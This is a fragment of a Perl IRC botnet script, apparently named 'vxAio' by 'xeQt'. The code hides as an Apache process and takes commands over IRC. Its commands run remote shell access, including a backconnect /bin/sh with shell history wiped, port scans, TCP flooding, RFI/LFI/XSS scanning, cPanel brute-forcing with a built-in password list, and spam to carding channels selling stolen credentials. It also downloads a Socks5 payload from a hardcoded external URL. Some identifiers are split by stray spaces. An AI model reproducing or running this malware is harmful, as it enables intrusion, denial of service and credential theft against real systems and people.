."BitchX-74p1+Tcl1.3f by pana sync - Linux 2.0.35 : Keep it to yourself!", ."BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!", ."BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!", ."BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!", ."BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1á9] : Keep it to yourself!", ."P&P 4.22.2 (in development) + X Z P Bots, Sound, NickSer v, ChanServ, Extras", ."HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001", ."irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386", ."ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there", ."ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there"); my @fakeps = ("/usr/local/apache/bin/httpd -DSSL","/usr/local/apache/bin/httpd -k start", ."/usr/sbin/apache2 -k start -DSSL","/usr/sbin/httpd -k start -DSSL", ."/usr/sbin/apache","httpd","[httpd]"); my @GoDomene = (".com",".it",".pl",".com.mx",".co.uk",".com.br",".fr",".ie",".ae",".ro",".es",".ca",".no",".de",".fr",".cz",".lt"); my @domene = ("info","net","org","no","se","de","com","pe","br","ca","fi","pl","ro","ru","in","do","su","pk","ms","ve", "cy","as","ae","de","ve","hu","ar","at","ro","ru","mm","mn","nm","a","b","c","info","gr","pe","br","es","tr","il","ie", "eg","fi","do","ms","ws","ps","net","co m","org","ch","cc","br","lv","sz","rj","tz","io","tf","tp","tg","to","tt","info", "ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw", "bn","bg","bf","bi","vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk", "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf" ,"ht","nl", "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","jm","sg","id","cl","cx","ca","nz","pk","hu","edu"); my @useragents = ('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1', 'Mozilla/4.0 (compatible; MSIE is not me; DAUMOA/1.0.1; DAUM Web Robot; Daum Communications Corp., Korea) ', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Geck','Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.8) Geck', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)','Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1) Gecko/', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; nl; rv:1.8.0.9) Geck','Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC)', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); my @cpanelpasswds = ("1","12","123","1234", "12345","123456","1234567","12345678","123456789","1234567890","admin","root", "pass","passwd","password","Pass","Passwd","PassWd","PassWord","pwd","login","Admin","admin","test","123123","1212","stu", "12341234","zxcvbnm","zxcvbn","zxcvb","zxcv","zxc","q1w2e3r4","q1w2e3","q1w2e3r4t5","1q2w3e4r5t","1q2w3e4r","1q2w3e","way", "demo","morgan","ferrari","italia","usa","clinton","dart","call","asdf","asdfg","asdfgh","qazwsx","qazxsw", "qwertyu","demo", "qwertyuiop","qwertyuio","qwertyu","qwerty","qwert","qwer","james","hosting","temp","test1","test12","test123","tester", "testing","cpanel","default","Login","admin.","cpanels","web","master","webmaster","dark","support","darby","mail","r00t", "dick","mary","evil","nissan","toyota","kingkong","superman","super","supra","data","service","server","weed","abc","dirty", "abc123","hello","terror","binladen","europe","website","mypass","pass1","pass12","pass123","pass1234","passwd1","darby", "hardy","eve","liquid","md5","crack","godzilla","armageddon","boots","roots","feds","madonna","drdre","12369874125","123654"); my @rport = ("6665","6666","6667","6668","6669","7000"); my @spchan = ("#cc-power","#visa","#DebitCard","#cardcredit","#carding","#TraDeCC","#cc-visa","#www.ebay.com","#cc.visa","#CC+","#carderi"); my $spammsg="[Sell] .9,12Cpanels+FTP/r57shell+mail+curl 4 Scam.!. Perl/PHP/WWW Inbox Mailers.!. DataBases: Email:Passwd.!. Email Lists.!.. ..4No Trade..! ..8E-Gold Only..."; m y $pURL="http://members.lycos.co.uk/charlott1974/pr.txt"; my $IPResolver="http://members.lycos.co.uk/charlott1974/ip.php"; my $Socks5URL="http://members.lycos.co.uk/charlott1974/Socks5.tar.gz"; $IRCServerConn="$SqlTable[rand scalar @SqlTable]" unless $IRCServerConn; $IRCServerConn="$ARGV[0]" if $ARGV[0]; my $porta = $rport[rand scalar @rport]; my $realname = $RName[rand scalar @RName]; my $sctcp = $Mrx[rand scalar @Mrx]; my $ModTimeOut=8; my $xVers; my $cmoff=0; my @ips=(); my @dnsip=();.# vHosts! my $lwpsimp=0; my $s5scanner=0; my $BotIp; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; eval "use HTTP::Request;"; if ($@) { $xVers='.15vx..12A..15io. ..12v..159.';$cmoff++; } else { $xVers='.7vx..12A..7io. ..12v..129.'; } eval "use LWP::UserAgent;"; if ($@) { $xVers='.15vx..12A..15io. ..12v..159.';$cmoff++; } else { $xVers='.7vx..12A..7io. ..12v..129.'; } eval "use LWP::Simple;";if ($@) { $lwpsimp++; } eval "use IO::Socket::Socks;";if ($@) { $s5scanner++; } # Real PS! By xeQt. my $uid=`id -u`; if ($uid =~ /^0$/) { $0=$xeQters."\0"x16;;chdir("/usr/lib/libsh/.sniff/"); } else { .@processer=`ps x|grep -E "apache|apache2|http|httpd|mysql|postgrep|smbd"`; .foreach $lines (@processer) { ..if (($lines =~ /\/(.+)/)&&($lines !~ /grep/i)&&($lines !~ /perl/i)&&($lines !~ /bash/i)) { ...if (($lines!~/wget/i)&&($lines!~/curl/i)&&($ lines!~/fetch/i)&&($lines!~/GET/i)&&($lines!~/lwp-download/i)&&($lines!~/lynx/i)) { ....$bg=$1; ...} ..} ..if (($bg =~ m/^\//i)||($bg =~ m/^\/\//i)||($bg =~ m/^[httpd]$/i)||($bg =~ m/^httpd$/)) { $bg="$bg"; } ..else { $bg="/$bg"; } ..if (length($bg) <= 3 || $bg =~ m/.txt$/i) { $bg=$fakeps[rand scalar @fakeps]; } ..$0="$bg"."\0"x16;; ..chdir("/tmp/"); .} } if ((-e "/bin/ifconfig") && (-x "/bin/ifconfig")) { .@ips = `/bin/ ifconfig -a|grep -v 127.0|grep -v 192.168|grep -v 10.0|grep -v inet6`; } elsif ((-e "/sbin/ifconfig") && (-x "/sbin/ifconfig")) { .@ips = `/sbin/ifconfig -a|grep -v 127.0|grep -v 192.168|grep -v 10.0|grep -v inet6`; } elsif ((-e "/usr/bin/ifconfig") && (-x "/usr/bin/ifconfig")) { .@ips = `/usr/bin/ifconfig -a|grep -v 127.0|grep -v 192.168|grep -v 10.0|grep -v inet6`; } elsif ((-e "/usr/sbin/ifconfig") && (-x "/usr/sbin/ifconfig")) { .@ips = `/usr/sbin/ifconfig -a|grep -v 127.0|grep -v 192.168|grep -v 10.0|grep -v inet6`; } foreach my $dnz (@ips) { .if ($dnz =~ m/inet addr:(\d+).(\d+).(\d+).(\d+)/) { $str=$1.".".$2.".".$3.".".$4."\n";push(@dnsip,$str."\n"); } .elsif ($dnz =~ m/inet (\d+).(\d+).(\d+).(\d+)/) { $str=$1.".".$2.".".$3.".".$4."\n";push(@dnsip,$str."\n"); } .elsif ($dnz =~ m/inet\s+(\d+).(\d+).(\d+).(\d+)/) { $str=$1.".".$2.".".$3.".".$4."\n";push(@dnsip,$str."\n"); } .elsif ($dnz =~ /inet addr:(\d+).(\d+).(\d+).(\d+)/) { $str=$1.".".$2.".".$3.".".$4."\n";push(@dnsip,$str."\n"); } .e lsif ($dnz =~ /inet (\d+).(\d+).(\d+).(\d+)/) { $str=$1.".".$2.".".$3.".".$4."\n";push(@dnsip,$str."\n"); } .elsif ($dnz =~ /inet\s+(\d+).(\d+).(\d+).(\d+)/) { $str=$1.".".$2.".".$3.".".$4."\n";push(@dnsip,$str."\n"); } } my @ipsdb = grep { s/\n$// } @dnsip; my $pid=fork; exit if $pid; die "Error: Fork(): $!" unless defined($pid); #print "(vxAio) By xeQt - ".$$." :: ".$0."\n"; our %irc_servers; $sel_cliente = IO::Select ->new(); sub sendraw { .if ($#_ == '1') { ..my $socket = $_[0]; ..print $socket "$_[1]\n"; .} .else { print $IRC_cur_socket "$_[0]\n"; } } sub ircxeqter { .my ( $mynick, $ServerConn, $ServerPort ) = @_; .if (($vHosts) && (scalar(@ips) >= 2)) { ..foreach my $mydnserv (@ipsdb) { ...my $IRC_socket = IO::Socket::INET->new(LocalAddr=>$mydnserv,PeerAddr=>$SqlTable[rand scalar @SqlTable],PeerPort=>$rport[rand scalar @rport],Proto=>"tcp") or return(1); ...if (defined($IRC_socket)) { ....$IRC_cur_socket = $IRC_socket; ....$IRC_socket->autoflush(1); ....$sel_cliente->add($IRC_socket); ....$irc_servers{$IRC_cur_socket}{'host'} = "$ServerConn"; ....$irc_servers{$IRC_cur_socket}{'porta'} = "$ServerPort"; ....$irc_servers{$IRC_cur_socket}{'nick'} = $mynick; ....$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; ....nick("$NickName[rand scalar @NickName]"); ....sendraw("USER $Idents[rand scalar @Idents] ".$IRC_socket->sockhos t." $SqlTable[rand scalar @SqlTable] :$RName[rand scalar @RName]"); ...} ..} .} .else { ..my $IRC_socket = IO::Socket::INET->new(PeerAddr=>$ServerConn,PeerPort=>$ServerPort,Proto=>"tcp") or return(1); ..if (defined($IRC_socket)) { ...$IRC_cur_socket = $IRC_socket; ...$IRC_socket->autoflush(1); ...$sel_cliente->add($IRC_socket); ...$irc_servers{$IRC_cur_socket}{'host'} = "$ServerConn"; ... $irc_servers{$IRC_cur_socket}{'porta'} = "$ServerPort"; ...$irc_servers{$IRC_cur_socket}{'nick'} = $mynick; ...$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; ...nick("$mynick"); ...sendraw("USER $Idents[rand scalar @Idents] ".$IRC_socket->sockhost." $ServerConn :$realname"); ..} .} } my $line_temp; while( 1 ) { .while (!(keys(%irc_servers))) { ircxeqter($NickName[rand scalar @NickName],$IRCServerConn,$porta); } .delete($irc_servers{''}) if (defined($irc_servers{''})); .my @ready = $sel_cliente->can_read(0); .next unless(@ready); .foreach $fh (@ready) { ..$IRC_cur_socket = $fh; ..$meunick = $irc_servers{$IRC_cur_socket}{'nick'}; ..$nread = sysread($fh, $msg, 4096); ..if ($nread == 0) { ..$sel_cliente->remove($fh); ..$fh->close; ..delete($irc_servers{$fh}); ..} ..@lines = split(/\n/, $msg); ..foreach my $c (0..(@lines)) { ...$line = $lines[$c]; ...$line=$line_temp.$ line if ($line_temp); ...$line_temp=''; ...$line =~ s/\r$//; ...unless ($c == $#lines) { parse("$line"); } ...else { ...if ($#lines == 0) { parse("$line"); } ....elsif ($lines[$c] =~ /\r$/) { parse("$line"); } ....elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } ....else { $line_temp = $line; } ...} ..} .} } sub parse { .my $ServerArgs = shift; .if ($ ServerArgs =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } .elsif ($ServerArgs =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { ..my $pn=$1;my $Idents=$2;my $hostmask=$3;my $chan=$4;my $args=$5; ..if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001".$sctcp."\001"); } ..if (grep {$_ =~ /^(\Q$pn\E|\Q$hostmask\E)$/i } @TeaMrx) { ..if ($chan eq "$meunick" && $args =~ m/^!(.*)/i) { &bfunc($pn,$1); } ..if ($chan eq "$meunick" && $args !~ m/^!(.*)/i) { ....if (!$shad0w) { &runner($pn,$args); } ....else { .....$shad0w=0; .....&runner($pn,$args); .....$shad0w=1; ....} ..} . ..if ($args =~ /^!(.*)/) { ircase("$pn","$chan","$1"); } . ..if ($args =~ /^!m\s+(.*)/) { &teamrx($chan,$1); } . ..if ($args =~ /^!s\s+(\S+)\s+(.*)/) { &rfiscanner($chan,$1,$2); } . ..if (($args =~ /^!(asc|advanced|adv)$/) && (!$cmoff)) { ....notice($pn, "Current.ASC: ".$ascmethod.""); ...} . ..if (($args =~ /^!asc\s+(\S+)/) && (!$cmoff)) { ....if ($1 > 0 || $1 < 6) { $ascmethod =$1; } ....else { $ascmethod = int(rand(5)); } ....notice($pn, "[..12ASC..] $ascmethod"); . ..} . ..if (($args =~ /^(!img|-img|-i|!i)$/) && (!$cmoff)) { ....if (!$bcurl) { notice($pn, ".PHPShell.: ".$cmdsh.""); } ....else { notice($pn, ".RootSh.: ".$cmdsh." :: .Spread.: ".$bcurl.""); } . ..} . ..if (($args =~ /^(!fakesh|-fakesh|!print|-print)$/) && (!$cmoff)) { notice($pn, "Print.Shell: ".$printer.""); } . ..if (($args =~ / ^!new\s+(.*)/) && (!$cmoff)) { ....$cmdsh=&fiks_url($1); ....notice($pn, "Check Shell: $cmdsh"); . ..} . ..if (($args =~ /^!newfake\s+(.*)/) && (!$cmoff)) { ....$cmdfake=$1; ....my $str=fiks_url($cmdfake);$printer=$str; ....notice($pn, "New.FakeShell: ".$printer.""); . ..} . ..if (($args =~ /^!t\s+(.*)/) && (!$cmoff)) { &vulntester($chan,$1); } . ..if (($args =~ /^!visit\s+(.*)/) && (!$cmoff)) { &urlvisiter($chan,$1); } . ..if ($args =~ /^!ps\s+(.*)/) { &portscan($chan,$1); } . ..if ($args =~ /^!ssh\s+(\S+)\s+(.*)/) { &portchk($chan,$1,$2); } . ..if (($args =~ /^(!xss|-xss)$/) && (!$cmoff)) { ....if (!$xsson) { notice($pn, "XSS Scanner: OFF"); } ....else { notice($pn, "JavaScript: ".$xsimg." Scanner: ON"); } ...} . ..if (($args =~ /^!xss\s+(.*)/) && (!$cmoff)) { ....$xl=$1; ....if (($xl eq "on" || $xl eq "ON" || $xl eq "1")) { .....$xsson=1; .....notice($pn, "XSS Scanner: Scanner ON"); ....} ....elsif (($xl eq "off" || $xl eq "OFF" || $xl eq "0")) { .....$xsson=0; .....notice($pn, "XS S Scanner: Scanner OFF"); ....} . ..} . ..if ($args =~ /^(!sn|-sn|!sendnick|-sendnick)$/) { ....if (!$sendnick) { notice($pn, "No Nick Selected ::: usage: !sn "); } ....else { notice($pn, "Current.Nick: ".$sendnick.""); } ...} . ..if ($args =~ /^!sn\s+(.*)/) { ....if ($1 eq "0") { .....$sendnick=0; .....notice($pn, ".[.12SendNick.] Send Priv Messages off."); ....} ....else { $sendnick=$1;notice($pn, "New sNick: $sendnick"); } . ..} . ..if (($args =~ /^(!bchost|-bchost|-spread|!spread|-spreader|!spreader)$/) && (!$cmoff)) { notice($pn, "Spread.URL: ".$bcurl.""); } . ..if (($args =~ /^!bh\s+(.*)/) && (!$cmoff)) { ....my $ar=$1; ....if (($ar eq "0") || ($ar eq "off") || ($ar eq "OFF")) { .....$bcurl=0; .....notice($pn, ".12Spreader.: OFF"); ....} ....else { .....my $ret=fiks_url($ar); .....$bcurl=$ret; .....notice($pn, "New.Spreader: ".$bcurl.""); ....} . ..} ...if (($args =~ /^!pub\s+(.*)/) && (!$cmoff)) { ....if ($1 eq "off" || $1 eq "OFF" || $1 eq "0") { .....if (!$public) { notice($pn, "Public scanner already OFF"); } .....else { ......notice($pn, "Public scanner switched OFF"); . .....$public=0; .....} ....} ....elsif ($1 eq "on" || $1 eq "ON" || $1 eq "1") { .....if ($public) { notice($pn, "Public scanner already ON"); } .....else { ......notice($pn, "Public scanner switched ON"); . .....$public=1; .....} ....} . ..} ...if ($args =~ /^!sth\s+(.*)/) { ....if ($1 eq "off" || $1 eq " OFF" || $1 eq "0") { .....if (!$shad0w) { notice($pn, "Stealthmode is already OFF"); } .....else { ......notice($pn, "Stealth bot OFF"); . .....$shad0w=0; .....} ....} ....elsif ($1 eq "on" || $1 eq "ON" || $1 eq "1") { .....if ($shad0w) { notice($pn, "Stealtmode already ON"); } .....else { ......notice($pn, "Stealth mode ON"); . .....$shad0W=1; .....} ....} . ..} ...if ($args =~ /^(!warn|-warn)$/) { notice($pn, "Botw arn: $warned"); } ...if ($args =~ /^!warn\s+(.*)/) { ....if ($1 eq "off" || $1 eq "OFF" || $1 eq "0") { .....if (!$warned) { ......notice($pn, "Botwarn already off"); .....} .....else { ......notice($pn, "Botwarn turned off"); . .....$warned=0; .....} ....} ....elsif ($1 eq "on" || $1 eq "ON" || $1 eq "1") { .....if ($warned) { notice($pn, "Botwarn already on"); } .....else { ......notice($pn, "Botwarn turned on"); . .....$warned=1; .....} ....} . ..} ...if ($args =~ /^!xeqt\s+(\S+)\s+(\d+)\s+(\d+)/) { &vxDropper($chan,$1,$2,$3); } ...if ($args =~ /^(!proxy|-proxy)\s+(.*)/) { &proxyscan($chan,$1); } ...if ($args =~ /^!mail\s+(\S+)\s+(\S+)\s+(\S+)\s+(.*)/) { &sendmail($chan,$1,$2,$3,$4); } ...if ($args =~ m/^!smail$/i) { &checksendmail($chan); } . ..if ($args =~ m/^(-version|-ver|-v)$/i) { notice($pn,$xVers); } . ..if ($args =~ m/^(!version|!ver|!v)$/i) { msg($chan,$xVers); } . ..if ($args =~ m/^(-method|-download|-down|-d|-info|!d)$/i) { &sysbotinfo($pn); } . ..if ($args =~ m/^(-0|- null|-argv|-argv0)$/i) { notice($pn,"$$ - $0"); } . ..if ($args =~ m/^!(mil|milw0rm|w0rm|w0rms)$/i) { &milw0rmRSS($chan); } . ..if ($args =~ m/^!(storm|packet|packetstorm)$/i) { &packetstormRSS($chan); } . ..if ($args =~ /^!crypt\s+(.*)/) { &vxCrypter($chan,$1); } . ..if ($args =~ /^!(chkpg|chkprog|chkp|cp)/) { &checkprograms($pn); } . ..if ($args =~ /^(!safemode|-safemode|!sm|-sm)$/) { ....if (!$safe_print) { notice($pn,"Not sending safemode servers to channel (OFF)"); } ....else { notice($pn,"Safemode print is on"); } ...} . ..if (($args =~ /^!safemode\s+(.*)/) && (!$cmoff)) { ....if ($1 eq "off" || $1 eq "OFF" || $1 eq "0" || $1 eq "stop") { .....if (!$safe_print) { notice($pn,"Safemode print already OFF"); } .....else { ......notice($pn,"Safemode Print: OFF"); . .....$safe_print=0; .....} ....} ....elsif ($1 eq "on" || $1 eq "ON" || $1 eq "1" || $1 eq "start") { .....if ($safe_print) { notice($pn,"Safemode print already ON"); } .....else { ......notice($pn,"Safemode Print: ON"); . .....$safe_print=1; .....} ....} . ..} . ..if ($args =~ /^!decode\s+(.*)/) { &uridecoder($chan,$1); } . ..if (($args =~ /^!dl\s+(\S+)\s+(\S+)/) && (!$lwpsimp)) { &getnsave($chan,$1,$2); } . ..if (($args =~ /^(!chksh|-chksh|!shellchk|-shellchk)$/) && (!$cmoff)) { .... &verifyer($chan); . ..} . ..if ($args =~ /^!lfi\s+(\d+)/) { ....if ($lfisc eq 0 || $lfisc eq 1) { $lfisc=$1;notice($pn,"LFIScanner: ON"); } ....else { notice($p n,"Error: 0, 1"); } . ..} . ..if ($args =~ m/^(!both|-both|!alle|-alle)$/i) { ....&milw0rmRSS($chan); ....sleep 2; ....&packetstormRSS($chan); . ..} . ..if (($args =~ /^!hash\s+(.*)/) && (!$cmoff)) { &gdataonl($chan,$1); } . ..if ($args =~ /^!cpanel\s+(\S+)\s+(\S+)\s+(\d+)/) { &vxPanelBrute($chan,$1,$2,$3); } . ..if ($args =~ /^!(clean|wipe|drop|cleaner)$/) { &wiiCleaner($chan); } . ..if ($args =~ /^!find\s+(.*)/) { &milse archer($chan,$1); } . ..if ($args =~ /^(!vhost|!vhosts|-vhost|-vhosts)$/) { ....if (!scalar(@ipsdb) < 0) { notice($pn,"".$xVers." - vHost: (localhost)"); } ....else { notice($pn,"".$xVers." - Vhosts On System: (".scalar(@ipsdb).")"); } ...} . ..if ($args =~ /^!base64\s+(\S+)\s+(.*)/) { &Base64_EncodeDecode($chan,$1,$2); } . ..if ($args =~ /^!(modules|module|mod|mods|chkmod|chkmodule|chkmodules)$/) { &Verify_Modules($pn); } . ..if ($args =~ /^!chk\s+(.*)/) { &SingleChecking($chan,$1,"1"); } . ..if ($args =~ /^!apache\s+(.*)/) { &ApacheVersion($chan,$1); } . ..if ($args =~ /^!dns\s+(.*)/) { &vxDnsLookUp($chan,$1); } . ..if ($args =~ /^!socks5\s+(.*)/ && !$lwpsimp) { &Socks5xeQter($msg,$1); } . ..if ($args =~ /^!newmsg\s+(.*)/) { $spammsg=$1;notice($pn,"NewSpamMessage: $1"); } . ..if ($args =~ /^!sp$/) { &SpamBoten($msg); } ..if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/) { ...my $natrix = $1; ...my $arg = $2; ...if ($arg =~ /^\!(.*)/) { ircase($pn, $chan, $1); } ....elsif ($arg =~ /^\@(.*)/) { ...$ondep = $chan; ...$ondep = $pn if $chan eq $meunick; ...bfunc($ondep,$1); ...} ....else { .....if (!$shad0w) { runner($chan,$arg); } .....else { runner($pn,$arg); } ...} ...} ..} ..else { ...if (($chan eq $meunick && $sendnick ne 0 && $pn ne $sendnick && $pn ne $meunick)) { ....if ($args =~ m/^(ps|l s|who|w|uptime|id|wget|pwd|netstat|uname|uname -a|whoami)$/i) { .....msg($sendnick, ".[.4Warning.] $pn ".$Idents."\@".$hostmask.": $args"); ....} ....elsif ($args =~ m/(.rar|.exe|.php|sex|mp3|#|www|download|porn)/i && $pn ne $meunick) { .....for (my $i=0;$i& 1 3>&1`; ..my $c=0; ..foreach my $linje (@komd) { ...chop $linje; ....if (!$shad0w) { .....msg($msg,$linje); ....} ....else { .....notice($msg,$linje); ....} ...if ($c eq 5) { ....$c=0; ....sleep 7; # Avoid flood. ...} ....$c++; ..} ..} ..exit(0); .} } sub bfunc { .my ( $msg, $argue ) = @_; .if (my $pid = fork) { waitpid($pid,0); } .else { ..if (fork) { exit(0); } ..else { ...if ($argue =~ /^bc\s+(.*)\s+(\d+)/) { &bxeQt($msg,$1,$2); } ...if ($argue =~ /^m\s+(.*)/) { &teamrx($msg,$1); } ...if ($argue =~ /^s\s+(\S+)\s+(.*)/) { &rfiscanner($msg,$1,$2); } . ..if ($argue =~ /^t\s+(.*)/) { &vulntester($msg,$1); } . ..if ($argue =~ /^ps\s+(.*)/) { &portscan($msg,$1); } . ..if ($argue =~ /^ssh\s+(\S+)\s+(.*)/) { &portchk($msg,$1,$2); } . ..if ($argue =~ /^proxy\s+(.*)/) { &proxyscan($msg,$1); } . ..if ($argue =~ /^mail\s+(\S+)\s+(\S+)\s+(\S+)\s+(.*)/) { &sendmail($msg,$ 1,$2,$3,$4); } . ..if ($argue =~ /^(w0rm|mil|milw0rm)$/) { &milw0rmRSS($msg); } . ..if ($argue =~ /^(packet|pstorm|packetstorm)$/) { &packetstormRSS($msg); } . ..if ($argue =~ /^both$/) { &milw0rmRSS($msg); &packetstormRSS($msg); } . ..if ($argue =~ /^crypt\s+(.*)/) { &vxCrypter($msg,$1); } . ..if ($argue =~ /^visit\s+(.*)/) { &urlvisiter($msg,$1); } . ..if ($argue =~ /^hash\s+(.*)/) { &gdataonl($msg,$1); } . ..if ($argue =~ /^chksh$/) { &verifyer($msg); } . ..if ($argue =~ /^dl\s+(\S+)\s+(.*)/) { &getnsave($msg,$1,$2); } . ..if ($argue =~ /^cpanel\s+(\S+)\s+(\S+)\s+(\d+)/) { &vxPanelBrute($msg,$1,$2,$3); } . ..if ($argue =~ /^(clean|wipe|drop|cleaner)$/) { &wiiCleaner($msg); } . ..if ($argue =~ /^yahoo\s+(\S+)\s+(.*)/) { &yahooVerifyer($msg,$1,$2); } . ..if ($argue =~ /^find\s+(.*)/) { &milsearcher($msg,$1); } . ..if ($argue =~ /^base64\s+(\S+)\s+(.*)/) { &Base64_EncodeDecode($msg,$1,$2); } . ..if ($argue =~ /^chk\s+(.*)/) { &SingleChecking($msg,$1,"1"); } . ..if ($argue =~ /^apache\s+(.*)/) { &ApacheVersion($msg,$1); } . ..if ($argue =~ /^dns\s+(.*)/) { &vxDnsLookUp($msg,$1); } . ..if ($argue =~ /^vnctest\s+(\S+)\s+(\d+)/) { &TestVNC($msg,$1,$2); } . ..if ($argue =~ /^socks5\s+(.*)/ && !$lwpsimp) { &Socks5xeQter($msg,$1); } ...if ($argue =~ /^txeqt\s+(.*)\s+(\d+)\s+(\d+)/) { &TCPHit($msg,$1,$2,$3); } ...if ($argue =~ /^prx\s+(\d+)/) { &InstProxySrv($msg,$1); } ...if ($argue =~ /^nmap\s+(\S+)\s+(\d+)\s+(\d+)/) { & NmapScan($msg,$1,$2,$3); } ..} ..exit(0); .} } sub ircase { .my ( $kem, $printl, $case ) = @_; .if ($case =~ /^join\s+(.*)/) { j("$1"); } .if ($case =~ m/^part\s+(.*)/) { p("$1"); } .if ($case =~ /^op/) { ..op($printl,$kem) if $case eq "op"; ..my $oarg = substr($case, 3); ..op($1,$2) if ($oarg =~ /(\S+)\s+(\S+)/); .} .if ($case =~ /^deop/) { ..deop($printl,$kem) if $case eq "deop"; ..my $oarg = substr($case, 2); ..deop($1,$2) if ($oarg =~ /(\S+)\s+(\S+)/); .} .if ($case =~ /^say\s+(.*)/) { msg($printl,$1); } .if ($case =~ /^msg\s+(\S+) (.*)/) { msg($1,$2); } .if ($case =~ /^nick\s+(.*)/) { nick($1); } .if ($case =~ /^ctcp\s+(\S+)\s+(.*)/) { ctcp($1,$2); } .if ($case =~ /^cf\s+(\S+)\s+(.*)/) { ..for (my $i=0;$i&SOCKET"); .open(STDOUT, ">&SOCKET"); .open(STDERR, ">&SOCKET"); .exec {'/bin/sh'} $0 . "\0" x4; .system("unset HISTFILE;unset HISTSIZE;unset HISTFILESIZE;unset HISTSAVE;HISTFILE=/dev/null"); .sendraw($IRC_cur_socket, "PRIVMSG $msg :Backconnect xeQted!") if (!$shad0w); .close(STDIN); .close(STDOUT); .close(STDERR); .sendraw($IRC_cur_socket, "PRIVMSG $msg :Closed By Remote") if (!$shad0w); } sub NmapScan() { .my ( $msg, $nhost, $nstart, $nend ) = @_; .my $nsock; .if ($nstart > $nend) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :Error: I Wont Scan Reverse."); ..return; .} .sendraw($IRC_cur_socket, "PRIVMSG $msg :(..12Nmap..) Scanning: $nhost Port:(".$nstart." - ".$nend.") "); .foreach ($nstart..$nend) { ..my $nmport=$_; ..if (fork() == 0) { ...unless ($nsock = IO::Socket::INET->new(PeerAddr=>$nhost,PeerPort=>$nmport,Proto =>'tcp',Timeout=>5)) { .. ..exit(0); ...} ...sendraw($IRC_cur_socket, "PRIVMSG $msg :Open: ".$nhost."/".$nmport.""); ...close($nsock); ...exit(0); ..} .} .sendraw($IRC_cur_socket, "PRIVMSG $msg :Nmap Scan Done With: $nhost"); } sub portscan() { .my ( $msg, $host ) = @_; .my $scansock; .my @ports=("21","22","23","25","53","80","81","110","113","135","137","138","139","143","443","445","1080","3306","5900", ."6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","10000","31337","64501","65500","65501"); .sendraw($IRC_cur_socket, "PRIVMSG $msg :.(.12PortScan.) $host"); .foreach my $porten (@ports) { ..if (fork() == 0) { ...unless ($scansock = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$porten,Proto =>'tcp',Timeout=>5)) { exit(0); } ...sendraw($IRC_cur_socket, "PRIVMSG $msg :Open:".$host.":".$porten.""); ...close($scansock); ...exit(0); } .} .sendraw($IRC_cur_socket, "PRIVMSG $msg :Done with ". $1.""); } sub portchk() { .my ( $msg, $shost, $sport ) = @_; .my $scsock; .unless ($scsock = IO::Socket::INET->new(PeerAddr => $shost, PeerPort => $sport, Proto => 'tcp', Timeout => 10)) { ..sendraw($IRC_cur_socket, "PRIVMSG $msg :..4Connection Refused..: $shost:$sport"); ..close($scsock); ..return; .} .sendraw($IRC_cu r_socket, "PRIVMSG $msg :Port Open: ".$shost.":".$sport.""); } sub TCPDrop() { .my $itime = time; .my ($cur_time); .my ( $ia, $pa, $proto, $j, $l, $t ); .$ia = inet_aton($_[0]); .$pa = sockaddr_in($_[1],$ia); .$ftime = $_[2]; .$proto = getprotobyname('tcp'); .$j=0;$l=0; .$cur_time = time - $itime; .while ($l < 1000) { ..$cur_time = time - $itime; ..last if $cur_time >= $ftime; ..$t="SOCK$l"; ..socket($t,PF_INET,SOCK_ STREAM,$proto); ..connect($t,$pa)||$j--; ..$j++;$l++; .} .$l=0; .while ($l< 1000) { ..$cur_time = time - $itime; ..last if $cur_time >= $ftime; ..$t = "SOCK$l"; ..shutdown($t,2); ..$l++; .} } sub TCPHit() { .my ( $msg, $tip, $tport, $tsec ) = @_; .sendraw($IRC_cur_socket, "PRIVMSG $msg :KnockOut: ".$tip.":".$tport." ".$tsec."Seconds"); .my $itime = time; .my ($cur_time); .$cur_time = time - $itime; .while ($tsec > $cur_time) 